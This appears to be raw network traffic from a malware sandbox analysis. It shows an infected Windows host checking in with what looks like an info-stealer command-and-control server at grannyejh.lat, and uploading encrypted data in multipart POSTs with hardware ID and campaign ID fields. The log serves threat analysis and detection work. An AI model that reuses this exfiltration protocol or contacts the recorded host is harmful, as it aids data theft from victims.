2024-12-18 14:59:08 UTC	15331	OUT	Data Raw: f3 55 5a 76 92 a9 1d b0 3d b5 d0 aa 6d 9f 14 ee 11 e7 4b f3 dc f0 be 9e 92 36 2c 04 f9 a8 d7 18 4d b2 f8 79 10 53 fc a8 c6 7d 54 54 94 7f 73 a9 7c b7 5f 9c ef bb 80 78 3e 4d 34 5c 92 7e 7a ac 0c 05 77 a1 b3 f8 6d e1 0a d9 5c 71 0f e1 46 ab a8 c0 a7 14 fe b4 8c 85 cf 6a 5d ba 96 ee 5c b3 60 8c 86 8a 58 89 27 e3 ae 17 99 49 4b 3b ec 4e 5f 1a 0c 62 33 83 3d 9d 17 13 3d 11 5c 3d b3 e7 1d 10 77 63 27 c5 90 5d 58 85 81 50 17 34 7c 48 73 d3 d4 12 10 bd 76 72 54 06 23 e3 8f 3b 8b 6d 5d d2 1b d6 70 9b 42 90 ff 94 d7 9e c1 2f 6e 24 6b 2c 18 0e f1 fd 97 b9 b8 28 39 f0 94 d1 f5 1b 10 2c ce fd d4 2e bf fb fb bc ca cd a5 be 0f 08 60 28 8b 52 e2 68 43 e9 b7 23 6f 69 ef 7f 7c 49 bf 7d 7f 56 d9 c6 3f 7c 60 c0 02 fa a3 23 fe 9b 87 19 7c 19 a2 51 d2 a0 1e 3e 20 1a 0e 5b 2d Data Ascii: UZv=mK6,MyS}TTs\|_x>M4\~zwm\qFj]\`X'IK;N_b3==\=wc']XP4\|HsvrT#;m]pB/n$k,(9,.`(RhC#oi\|I}V?\|`#\|Q> [-
2024-12-18 14:59:08 UTC	15331	OUT	Data Raw: 28 d8 ce 7a 20 c4 62 40 e7 70 16 48 98 65 d3 b1 09 71 a4 d7 09 bd b4 d8 6d 8b d2 4c f2 4f 75 8e f9 26 f2 ec 84 3d d3 2d e7 6b b8 87 cd b9 48 7b 90 b0 30 52 f1 e0 fc d9 8f 27 13 04 3b 84 9a 37 8e 3d 00 d9 f5 38 e2 42 6b 8d 56 36 66 e6 f9 2b 5c dd e9 c6 18 4e a4 37 47 ba dc 86 31 51 1f 38 24 dd 5b b3 e1 47 a1 5e b7 33 4b c6 65 38 78 5d 5e ea cb 1e 94 20 d2 54 42 d2 ca 96 04 7f f5 f6 e4 d6 e9 f4 ff b2 14 64 14 47 4a 09 0b cf 54 38 87 ea f3 89 be 45 13 1f 37 c2 f5 c5 c3 5f b0 0a 23 b6 20 e0 9d 2a 2e e1 0d 31 22 ec f9 69 05 36 81 6b 8b f2 a4 6a 7d 2d df cd 39 96 2f 0d cc e3 9a 50 0f 75 48 d9 35 65 4e 1f 34 c6 e9 f7 e8 33 cc e0 59 7a c5 82 b6 ef 42 15 a3 7c 58 73 d5 92 31 fe fa 9b 14 47 8b d3 5e 80 d8 b2 56 19 39 e8 fb ed cd b3 32 c5 16 d5 fa 27 b9 d7 e8 2f eb Data Ascii: (z b@pHeqmLOu&=-kH{0R';7=8BkV6f+\N7G1Q8$[G^3Ke8x]^ TBdGJT8E7_# *.1"i6kj}-9/PuH5eN43YzB\|Xs1G^V92'/
2024-12-18 14:59:08 UTC	15331	OUT	Data Raw: 47 8d 33 25 a7 5a af 70 b4 0b e9 95 ed fa 37 0c 44 c0 c6 c4 b2 2a 1c 74 f8 2c a4 cd a4 6c 2e ac 25 22 1c c3 97 c8 af 26 bd 6a 57 56 16 de c2 c8 53 4c 8b 09 79 85 60 10 2c 27 2f cc ac e9 1f 6d 89 ce 13 29 ea b5 fa e0 cf 41 65 b2 33 5f d5 fa 8a 24 d9 31 4e 10 5b fd 33 2f ce 52 5a e8 e7 6a ef 7e b8 72 0a 7d cc fa ce 0c 60 37 fd f3 75 e1 57 aa 38 8a 40 26 a7 ab 39 b3 42 4b 82 93 e0 98 d7 d8 ba f2 34 8e fb f0 04 a7 f0 ab 66 1d 63 cf 18 5d ce 37 1e b1 d0 50 7e 7f 4f 7d d5 42 78 09 a9 90 9d e9 8a e8 19 5c a1 48 63 19 49 4a df f8 57 d8 07 32 a6 b9 cd d3 0a 5c ed ea d4 fd 79 38 f8 e2 8c b7 da 4f 67 40 d5 9e 95 70 ec 9d a8 19 e3 86 c5 97 e1 1e a7 1d e2 6c 65 31 6a 05 59 25 23 66 8f d0 44 56 79 7d b9 13 02 0c 03 76 ef b9 a3 8d cc dc 78 38 e6 88 0a 20 13 57 b5 ce 3d Data Ascii: G3%Zp7D*t,l.%"&jWVSLy`,'/m)Ae3_$1N[3/RZj~r}`7uW8@&9BK4fc]7P~O}Bx\HcIJW2\y8Og@ple1jY%#fDVy}vx8 W=
2024-12-18 14:59:08 UTC	15331	OUT	Data Raw: 7c 0c 0c d0 4c 10 90 36 04 3c b8 51 2d 3c 57 12 fa 49 36 6d 42 58 f8 cd 1f 25 95 f8 9c 1f d5 21 1f 3c 5c e6 45 c5 2c 5e 0c 3c a0 3b f2 de 00 f8 28 d4 98 12 da b6 6d e3 1c a7 0a 61 bb 25 11 e7 bd 29 c6 5c cb 1d 54 c3 8a 1e a2 c0 06 b6 de ac 89 2c 0b 5d 9e 75 1a a5 22 c2 10 41 d3 f3 1d 25 4f d3 d4 d1 44 9f fe 28 01 81 20 9c 4b ec 14 66 57 ab 83 74 d6 fd 0f 84 28 4b 9e f7 aa 7b aa 66 fa 9f ff f6 15 78 91 65 4d 55 93 87 9f e0 1e 85 8b f9 69 54 7b 45 72 e9 6c 74 01 2f 5e e6 ea 41 e1 bf 6d 68 b3 78 bc 31 de e4 30 59 05 66 9a b0 d5 2b 86 f1 83 f8 0e 5f ec 77 82 b0 f4 61 56 b4 21 0a b3 68 97 8d ad 53 f2 e6 58 4c a3 2f 76 4a cf 54 bd d9 d2 8e 8c 3c 1e 1e 93 8a 4d 4a c4 57 b0 f6 d6 e3 68 1b 0e 3f 55 7c 9e 47 eb 47 e4 15 b3 66 ef b4 c4 4a df 9c 88 95 0b b5 fa a3 12 Data Ascii: \|L6<Q-<WI6mBX%!<\E,^<;(ma%)\T,]u"A%OD( KfWt(K{fxeMUiT{Erlt/^Amhx10Yf+_waV!hSXL/vJT<MJWh?U\|GGfJ
2024-12-18 14:59:08 UTC	15331	OUT	Data Raw: 06 e2 f0 e5 2b 1c 36 6b 61 12 72 d8 ba c8 d1 07 5b 44 32 89 46 82 c9 a2 8b 9a e2 fb d4 8b 8e b7 35 46 9d b2 8b a8 79 1c 4b b4 d1 fb 5d 97 c7 53 0c 90 a9 3a 60 99 a7 80 83 7f c3 5e 81 80 a2 49 f0 22 60 77 7f 12 40 fc e0 a5 e8 68 38 d4 63 a9 50 10 14 75 fe 48 46 a8 3a 36 fc e4 ad 7a 3d 46 ce 46 30 16 66 61 c2 23 01 ec a0 0d 8a ac 08 5a fe e7 de df c1 c2 27 0f 21 dc 9f f3 87 48 11 f5 7e 4c 54 a0 d4 9c f8 c4 03 54 a7 56 e0 b3 13 ac e8 dd 75 41 f4 a2 03 7c 07 ef 73 2e 9d eb 98 ab 3b 7d 2f f6 b2 0a 0a ee df 9d 7f 8e 22 2d 78 b7 eb bb 15 17 94 1a 2e 49 bd 06 d4 35 d4 96 ba c4 18 6e a2 51 7a 73 a9 a1 0a 46 e4 11 d4 c1 56 83 d9 25 45 50 d2 e1 c8 cb 01 5b 47 0f cd 15 38 9b dd 2d b5 f0 f1 12 e3 41 52 1f 94 a1 16 f4 3e f3 9a c2 81 56 34 86 ef 84 ad fa 60 18 08 fb 6b Data Ascii: +6kar[D2F5FyK]S:`^I"`w@h8cPuHF:6z=FF0fa#Z'!H~LTTVuA\|s.;}/"-x.I5nQzsFV%EP[G8-AR>V4`k
2024-12-18 14:59:08 UTC	15331	OUT	Data Raw: 22 97 1d 4c 12 05 63 39 c3 74 b3 8f f2 75 31 58 f8 a9 db 53 f9 66 09 b5 6f 7a 22 e0 ac d9 68 ec e3 58 af ba 02 97 dd b4 d7 ff a2 7b 76 ae d6 71 ae 23 28 56 69 19 f1 2c 03 81 f7 d7 87 22 15 ac b2 0a 0e 9b c8 54 7a ba f0 5f ef a7 9e c1 f4 a2 c8 37 77 5f b4 02 4b 89 b8 4b 26 df 9e a8 25 3d 56 b5 97 d2 5f a2 a1 3b 42 37 86 c4 87 82 db 6a 3a f4 03 46 e6 41 7d 61 d8 5a de 54 ab ee 42 fc 02 e3 b7 da 0b 47 26 53 bc 63 84 b3 99 79 86 7b 29 55 06 f4 a6 de 1e a2 c2 f0 61 91 10 e7 cf 4f 05 40 ed 28 a0 4f 77 e8 6e 1f 03 cc 7b e8 63 d7 0a 0c c4 22 2f 08 ad f7 3f a5 22 81 ca fc b7 e7 52 7f eb c7 df c5 82 f3 e9 28 32 73 f2 a2 13 31 11 84 59 a3 f1 18 cc 1e 20 f3 15 af 0e 51 12 bf ee a6 59 4c 05 1c bb 01 d4 d9 f6 3f 3d 87 1f ab e0 70 96 64 b3 98 2c 94 21 99 b6 fc 59 b5 62 Data Ascii: "Lc9tu1XSfoz"hX{vq#(Vi,"Tz_7w_KK&%=V_;B7j:FA}aZTBG&Scy{)UaO@(Own{c"/?"R(2s1Y QYL?=pd,!Yb
2024-12-18 14:59:08 UTC	15331	OUT	Data Raw: 25 35 81 9d 84 9f 55 89 b1 a7 54 1a 4c e2 4c 2c cc de d9 cc 0f bb 3e f4 be 32 1f 2b 87 fa 9a 28 75 a6 19 11 61 e4 dc 3b 34 02 66 ff 41 01 7d c5 7a 79 15 3a b8 4a e8 72 46 59 78 db d1 71 57 0c d4 31 9a 28 58 66 fe d7 be 5f f5 35 43 8a f2 89 95 e3 55 4d c9 0e 20 63 5e a9 e8 93 ca 3b d4 8c 58 67 d0 71 e2 40 74 2a 48 7e 94 fe 7e 96 14 67 46 b6 9a f3 de 87 97 4b 0e 91 17 1d f9 d1 e4 29 8b ae 10 71 1f 7c 5b 42 36 5e 6e b7 4e 58 ad f5 3e f6 a8 9a 6f 19 3f 05 7e 4e f6 5a be d3 f6 96 67 10 6f dd 9f f1 f5 85 d4 d9 8d 91 93 f8 f7 55 d8 38 98 16 fa 44 e9 eb ec 8b 39 72 36 ba d0 7f 5a 68 67 ff 68 f9 da 7d 7b fb be d8 40 81 7b fe 35 76 95 99 68 c6 9d 5d 92 f1 a1 dc ec a8 07 b8 63 2f fa 19 56 08 65 f8 0b 7d 71 ec 23 a4 bf 38 cf fa 94 37 80 98 b6 39 b2 75 df b9 b6 76 ce Data Ascii: %5UTLL,>2+(ua;4fA}zy:JrFYxqW1(Xf_5CUM c^;Xgq@t*H~~gFK)q\|[B6^nNX>o?~NZgoU8D9r6Zhgh}{@{5vh]c/Ve}q#879uv
2024-12-18 14:59:08 UTC	15331	OUT	Data Raw: d1 ab 6c f3 eb 8d fb 40 23 7e d9 42 85 1a 20 dc 75 86 00 48 83 e5 bb 88 de 0a 94 33 25 b9 b7 b3 a1 c2 45 66 a7 00 39 31 ce 75 ad de 56 bb 6d 78 ce 27 36 c5 3a 6a 55 9a 61 16 ba 43 54 f4 c2 e3 cc bc f4 e2 c6 5e 65 93 bd 28 03 8b ca 47 aa 97 f8 5a 9f b8 46 6b c9 ed 5c d7 b8 c0 79 03 7f a9 16 40 22 46 c0 cc 50 ca c3 c1 ff dc 79 6f 18 93 32 72 e6 8a e2 38 7b 63 f4 bd bf 93 61 d8 5d 12 8d 8b ab 69 7b 1e cc 3b 68 66 a9 cc c0 cd df b3 89 39 62 33 a0 be 8b f8 c2 22 fe 52 0a 2e 59 1a b6 ab ea 9b bf 5a b2 26 f4 9e 16 34 bf bd 85 e9 c9 d4 8b ef 9f bb e8 25 fd 70 48 81 f6 73 f7 c0 cb d1 23 e4 6a 11 e6 45 4c 25 3f b0 11 c2 a4 9d 16 43 3e 19 92 fb 7b 3d ea a6 35 3f d8 3d 9c eb f4 ee 83 52 e8 fd 0d eb f8 24 3e c0 9f bb af ac 04 bf f0 65 d1 d7 83 f6 6c ab 3a 79 5e f0 09 Data Ascii: l@#~B uH3%Ef91uVmx'6:jUaCT^e(GZFk\y@"FPyo2r8{ca]i{;hf9b3"R.YZ&4%pHs#jEL%?C>{=5?=R$>el:y^
2024-12-18 14:59:08 UTC	15331	OUT	Data Raw: 40 e6 05 d6 2e 36 ff 2e c5 64 4d 35 0c ac b4 57 4e a5 96 6f ed 63 ca d3 ab 3d b8 b7 8a 25 55 c9 14 82 7f 8d a2 3b 1c 34 9e 8b 78 f7 fb b5 36 3a 7e 9f 48 9a ec d1 56 92 05 a9 c1 b4 29 52 cb a4 d3 77 8a 4f 60 5e fc ae c2 83 68 de 69 a9 e1 53 61 79 d6 89 81 e8 32 94 95 49 f3 0f d8 79 8f 7d ab 2f 9f 75 73 6e db 9a 3f 0f 70 61 43 0c df 61 c5 eb e6 78 60 89 31 d0 2b bd a8 a3 3b 6b cd 07 38 7d 2a 92 06 6f 37 7d da 8a 37 c2 a9 ec b3 0b da c1 5c ac ea 7a ef 9e fe d2 5c 93 48 e7 09 24 17 ce be cc da cf 1a 8d e4 e9 4f a7 85 dd eb 1e 9b 1b 9a af ea df 5e c9 d1 18 b0 9b 8f e7 e9 b7 9b 57 a4 92 de 71 2f 84 35 3f 52 9b 4b c3 e5 3d 9b 4b fb f0 ad bf bd 36 e6 e5 9f e7 9e 9e 2d 1f d0 be d3 ce bb f9 7d 69 63 ce 49 a3 46 a1 ae 6b c6 28 6c 66 44 b1 d2 34 a6 2c a6 15 d0 8f 5b Data Ascii: @.6.dM5WNoc=%U;4x6:~HV)RwO`^hiSay2Iy}/usn?paCax`1+;k8}*o7}7\z\H$O^Wq/5?RK=K6-}icIFk(lfD4,[
2024-12-18 14:59:11 UTC	1036	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:59:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6ub47uud2jn7un22irh06f8rj7; expires=Sun, 13-Apr-2025 08:45:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vdp5p8DPcJbR2TQ3uzNJoOAqN01%2B0izF9bClwwUGYoP1jkyZE4VqETti80jDvKlCs0u1R3XGxWZylYYnlDhYh9YCARSTJwIGRKjjV5xdmem5yfEU%2F%2B19gaaoXJbabVpv"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4003d9cac56a5f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1638&min_rtt=1634&rtt_var=622&sent=332&recv=598&lost=0&retrans=0&sent_bytes=2831&recv_bytes=577332&delivery_rate=1745367&cwnd=187&unsent_bytes=0&cid=d3097b9e5d4f42f1&ts=3211&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.10	50205	172.67.179.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 14:59:10 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=4YJM9H3HQR User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1341 Host: grannyejh.lat
2024-12-18 14:59:10 UTC	1341	OUT	Data Raw: 2d 2d 34 59 4a 4d 39 48 33 48 51 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 42 38 41 36 33 30 36 31 34 34 36 39 36 35 35 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 34 59 4a 4d 39 48 33 48 51 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 34 59 4a 4d 39 48 33 48 51 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 34 59 4a 4d 39 48 33 48 51 52 0d 0a 43 6f 6e 74 65 6e 74 2d Data Ascii: --4YJM9H3HQRContent-Disposition: form-data; name="hwid"0B8A630614469655AC8923850305D13E--4YJM9H3HQRContent-Disposition: form-data; name="pid"1--4YJM9H3HQRContent-Disposition: form-data; name="lid"PsFKDg--pablo--4YJM9H3HQRContent-
2024-12-18 14:59:11 UTC	1027	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:59:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3g5t51b4ort2bpcilgv260mvu7; expires=Sun, 13-Apr-2025 08:45:50 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UfdRgQDSguCWeucVKZcaTb%2BH4%2Bp3jQ0Dhcl7TpxWu0sWDe8EWkO32Q3TOmKrTFmA7vq63M6hpiLYQw8esZ5ziaThYmMSJ8w5sYBY1Imb4HZggszRnSk6SChh8kbIVQvz"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4003ea5b4d4219-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1592&min_rtt=1578&rtt_var=621&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2829&recv_bytes=2247&delivery_rate=1721698&cwnd=193&unsent_bytes=0&cid=8fe1da98a666ef88&ts=744&x=0"
2024-12-18 14:59:11 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 14:59:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.10	50222	172.67.179.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 14:59:13 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 82 Host: grannyejh.lat
2024-12-18 14:59:13 UTC	82	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d 26 68 77 69 64 3d 30 42 38 41 36 33 30 36 31 34 34 36 39 36 35 35 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=PsFKDg--pablo&j=&hwid=0B8A630614469655AC8923850305D13E
2024-12-18 14:59:14 UTC	1035	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:59:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=j284k09khha401ahigosb8rhjp; expires=Sun, 13-Apr-2025 08:45:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1qrol1wrSpPBvx%2FmTjSjtdZKNIcnYgyfPFPLU%2BuNSMsCRZZh%2BWF9nbEfYHtSFEyZkTMvbduhYMraXhu%2Bs2F6Nu4BJtI2%2BPx07pUYrud8lC5jXD%2BvK8ygor6zhYg39app"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4003f87b660f90-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1655&min_rtt=1633&rtt_var=657&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2831&recv_bytes=979&delivery_rate=1609702&cwnd=109&unsent_bytes=0&cid=92ddc06369a2cb3c&ts=1711&x=0"
2024-12-18 14:59:14 UTC	214	IN	Data Raw: 64 30 0d 0a 75 4f 42 46 63 48 74 69 70 73 70 56 43 6b 72 52 45 54 69 6a 73 51 43 4f 65 36 62 49 56 35 61 35 6f 6f 6e 35 69 53 66 75 42 6b 4c 6a 6d 32 63 46 57 56 69 45 6f 69 46 2b 4f 75 74 4e 46 2f 2b 65 4d 62 5a 4f 69 50 70 6d 6f 35 65 54 75 4d 71 6e 46 74 68 61 62 64 65 47 49 79 78 55 42 73 4f 73 65 32 38 79 74 44 4d 55 67 64 64 30 72 45 47 57 35 48 58 7a 6d 35 69 35 68 4b 56 63 7a 48 4e 67 67 73 49 74 42 41 38 53 6e 4a 5a 36 56 6d 58 67 4b 51 32 4e 67 7a 47 37 56 5a 66 35 5a 4c 69 49 6c 4e 58 57 2b 6c 4f 4c 5a 79 2f 6b 7a 7a 63 52 46 51 62 4a 70 33 74 76 4d 72 51 7a 46 49 48 58 64 4b 78 42 6c 75 52 31 38 35 75 59 75 59 54 55 0d 0a Data Ascii: d0uOBFcHtipspVCkrRETijsQCOe6bIV5a5oon5iSfuBkLjm2cFWViEoiF+OutNF/+eMbZOiPpmo5eTuMqnFthabdeGIyxUBsOse28ytDMUgdd0rEGW5HXzm5i5hKVczHNggsItBA8SnJZ6VmXgKQ2NgzG7VZf5ZLiIlNXW+lOLZy/kzzcRFQbJp3tvMrQzFIHXdKxBluR185uYuYTU
2024-12-18 14:59:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.10	50234	172.67.179.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 14:59:19 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=45JMZHWO3N026 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 36419 Host: grannyejh.lat
2024-12-18 14:59:19 UTC	15331	OUT	Data Raw: 2d 2d 34 35 4a 4d 5a 48 57 4f 33 4e 30 32 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 42 38 41 36 33 30 36 31 34 34 36 39 36 35 35 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 34 35 4a 4d 5a 48 57 4f 33 4e 30 32 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 34 35 4a 4d 5a 48 57 4f 33 4e 30 32 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 34 35 4a 4d 5a 48 57 4f 33 4e 30 Data Ascii: --45JMZHWO3N026Content-Disposition: form-data; name="hwid"0B8A630614469655AC8923850305D13E--45JMZHWO3N026Content-Disposition: form-data; name="pid"1--45JMZHWO3N026Content-Disposition: form-data; name="lid"PsFKDg--pablo--45JMZHWO3N0
2024-12-18 14:59:19 UTC	15331	OUT	Data Raw: 38 a6 1b 21 e8 8f 7e 17 a7 f6 6e 0a 61 3d 89 73 7f b6 c7 32 3d ce cb 7b 44 98 81 aa f2 16 cc fa 58 a9 ea 14 60 29 f8 c5 45 71 fa aa 74 c3 9a 57 34 78 a8 90 de e3 b7 27 2f 97 95 f6 6e 4f 29 a4 21 a9 fa 5c a5 24 9e a7 85 87 93 ed b8 cf 6b bc be 05 3d 9b 2c 7c ef d3 99 e4 c4 1e c9 bd 1b 73 62 10 fb f7 b9 b8 e2 4e 65 d0 fa a4 85 a0 03 17 10 62 bb 42 9a 61 5b 1b 79 88 4a 19 5a df 25 1a 43 96 7c 19 6d d7 cb ac f2 6c 11 03 da 8d 1b 11 7f d9 ca 7e 10 56 ff c4 ca 25 76 28 9f 95 db 55 8c 6d ef ee 9e 3c 6b 7f fd bb ed d8 c7 a6 1b 7a ce d4 3c 70 97 9e 21 a1 6f 29 01 9c 41 65 bd 4c 66 60 e2 7b b5 bc 1c e0 76 ce 9e ea cb 3c fc aa f1 31 ee 9a 76 e5 c6 99 e6 bd 76 0e fa 31 a4 b9 b2 1d cb bd db df ef 5d c7 06 c6 05 69 9a ec 32 92 b1 f9 63 7b f7 ef 24 8b 31 e7 e7 c9 31 b9 Data Ascii: 8!~na=s2={DX`)EqtW4x'/nO)!\$k=,\|sbNebBa[yJZ%C\|ml~V%v(Um<kz<p!o)AeLf`{v<1vv1]i2c{$11
2024-12-18 14:59:19 UTC	5757	OUT	Data Raw: 0f 75 39 ef bf 25 61 84 34 3a 97 cd e2 37 87 24 d3 60 8b 99 bd 0e 84 4d bf f0 15 71 4c 15 fd 1b 8d b0 b6 6e 10 9e 19 bc ad 5a 5c 53 9b 18 9f ae 9c cb ba 23 68 de 60 ce 19 d9 2e de 17 0d d7 2a 5a 7e 6f c8 48 36 2c 0b 25 eb ee 07 fb 7e 9d 07 67 58 2b 6c 80 48 5d 7a cc a8 c8 ca db e3 91 e9 96 b4 a5 e7 b6 00 12 9e 1e 57 b2 54 2e eb c7 f5 e6 5a b3 6e e1 36 47 71 a5 4f b3 62 f1 38 48 d2 ef 6e 63 67 48 71 ef b8 46 fb 07 a7 04 b0 56 b7 55 f1 b4 9c 99 cb 46 ba 5f f1 68 bd 75 28 c4 d1 6d 79 d1 e3 71 a8 5b fb 55 9a f4 6e 43 c0 39 dc 70 e1 a7 ba a2 13 2b d7 0a 0f 86 e5 e7 6f 94 98 d2 38 10 b7 0a c2 1f 7f fe e9 15 f6 09 29 6c 5b 08 d6 f8 06 cc 42 a7 15 23 d5 32 8d a0 d6 77 bf 06 76 52 17 43 09 8f 3d 88 60 44 c5 67 b8 7c b3 55 bb 61 71 9e 37 a1 08 c1 d9 fd 69 4e e9 6b Data Ascii: u9%a4:7$`MqLnZ\S#h`.*Z~oH6,%~gX+lH]zWT.Zn6GqOb8HncgHqFVUF_hu(myq[UnC9p+o8)l[B#2wvRC=`Dg\|Uaq7iNk
2024-12-18 14:59:25 UTC	1031	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:59:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8fiv9i0vblkhnbgee6is7l8577; expires=Sun, 13-Apr-2025 08:46:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Otzb4fwaotiOftNPy4KB2YurkB11K4zBA0KvY4Zldgx4ClkZUy%2Bh%2BAIGSKF7BKzqrLkbZJKbti5CqCSEuWCB3NhXaaWHfR35x4Y5qked5Ar8qqF2NsYsALg2pf9B8vnl"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f400422796fc32e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1699&min_rtt=1691&rtt_var=651&sent=25&recv=43&lost=0&retrans=0&sent_bytes=2829&recv_bytes=37417&delivery_rate=1660034&cwnd=178&unsent_bytes=0&cid=81c1faa47119a4ba&ts=5992&x=0"
2024-12-18 14:59:25 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 14:59:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.10	50235	172.67.179.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 14:59:27 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 82 Host: grannyejh.lat
